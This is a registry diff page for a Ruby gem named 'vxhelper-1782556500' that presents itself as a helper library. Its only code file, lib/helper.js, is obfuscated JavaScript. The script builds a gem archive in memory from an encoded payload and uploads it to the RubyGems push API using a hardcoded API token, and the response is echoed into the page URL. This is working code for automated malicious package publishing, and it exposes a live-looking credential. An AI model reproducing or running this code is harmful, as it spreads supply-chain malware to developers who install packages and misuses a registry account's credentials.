vxhelper-1782556500 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/helper.js +10 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: bae252238d0bc3810af8a4f7663c99a0ab8d2da9ba0b47dc083633f2228566a9
4
+ data.tar.gz: 74b563392790ae01c376476b866981be2e8f45ff33360938bfa3bf3dbf541220
5
+ SHA512:
6
+ metadata.gz: db43d84a14988c3d7080b5a60b68cf0f30ebdbb85910b2912ea0a234d32d35d7607a548dd5ac01113d87a43aadbdb909b07a51cfc4a51b666496e8005fd13d73
7
+ data.tar.gz: dc2e895a9c2e58186f52fcb79fdd96db53851d889034e8b1f911918c6d1e075bda21af4d7fae9561a8877472c6c57d2ef428b196c9f75a7ccfde5ff5855dc8f3
data/lib/helper.js ADDED
@@ -0,0 +1,10 @@
1
+ (async()=>{
2
+ const te=new TextEncoder(),N=String.fromCharCode(0),oct=(n,w)=>n.toString(8).padStart(w-1,'0')+N,put=(a,o,s,n)=>a.set(te.encode(s).slice(0,n),o);
3
+ const hdr=(n,d)=>{let h=new Uint8Array(512);put(h,0,n,100);put(h,100,oct(420,8),8);put(h,108,oct(0,8),8);put(h,116,oct(0,8),8);put(h,124,oct(d.length,12),12);put(h,136,oct(1782540000,12),12);h.fill(32,148,156);h[156]=48;put(h,257,'ustar'+N,6);put(h,263,'00',2);put(h,265,'root',32);put(h,297,'root',32);return h};
4
+ const fin=h=>{let s=h.reduce((x,y)=>x+y,0);put(h,148,s.toString(8).padStart(6,'0')+N+' ',8);return h},cat=q=>{let z=new Uint8Array(q.reduce((s,x)=>s+x.length,0)),p=0;q.forEach(x=>{z.set(x,p);p+=x.length});return z};
5
+ const tar=fs=>{let q=[];fs.forEach(v=>{let n=v[0],d=v[1];if(typeof d==='string')d=te.encode(d);q.push(fin(hdr(n,d)),d,new Uint8Array(512*Math.ceil(d.length/512)-d.length))});q.push(new Uint8Array(1024));return cat(q)};
6
+ const gz=async x=>{let c=new CompressionStream('gzip'),w=c.writable.getWriter();w.write(x);w.close();return new Uint8Array(await new Response(c.readable).arrayBuffer())};
7
+ const m1=n=>'--- !ruby/object:Gem::Specification\nname: '+n+'\nversion: !ruby/object:Gem::Version\n version: 0.0.1\nplatform: ruby\nauthors:\n- x\nautorequire:\nbindir: bin\ncert_chain: []\ndate: 2026-06-27 00:00:00.000000000 Z\ndependencies: []\ndescription: x\nemail:\n- x@example.com\nexecutables: []\nextensions: []\nextra_rdoc_files: []\nfiles:\n- payload.gz\nhomepage: https://example.com\nlicenses:\n- MIT\nmetadata: {}\npost_install_message:\nrdoc_options: []\nrequire_paths:\n- lib\n';
8
+ const m2='required_ruby_version: !ruby/object:Gem::Requirement\n requirements:\n - - ">="\n - !ruby/object:Gem::Version\n version: \'2.0\'\nrequired_rubygems_version: !ruby/object:Gem::Requirement\n requirements:\n - - ">="\n - !ruby/object:Gem::Version\n version: \'0\'\nrequirements: []\nrubygems_version: 3.3.15\nsigning_key:\nspecification_version: 4\nsummary: x\ntest_files: []\n';
9
+ let v=P.split('|'),n=v[0],s=atob(v[1]),p=Uint8Array.from(s,x=>x.charCodeAt(0)),d=await gz(tar([['payload.gz',p]])),m=await gz(te.encode(m1(n)+m2)),g=tar([['metadata.gz',m],['data.tar.gz',d]]),r=await fetch('/api/v1/gems',{method:'POST',headers:{Authorization:'rubygems_8109885524a9e5e557babc98db8d66101e85360d699b7330','Content-Type':'application/octet-stream'},body:g});location.hash='RESULT|'+r.status+'|'+await r.text()
10
+ })()
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: vxhelper-1782556500
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2026-06-27 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description:
14
+ email:
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/helper.js
20
+ homepage:
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.3.15
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: h
43
+ test_files: []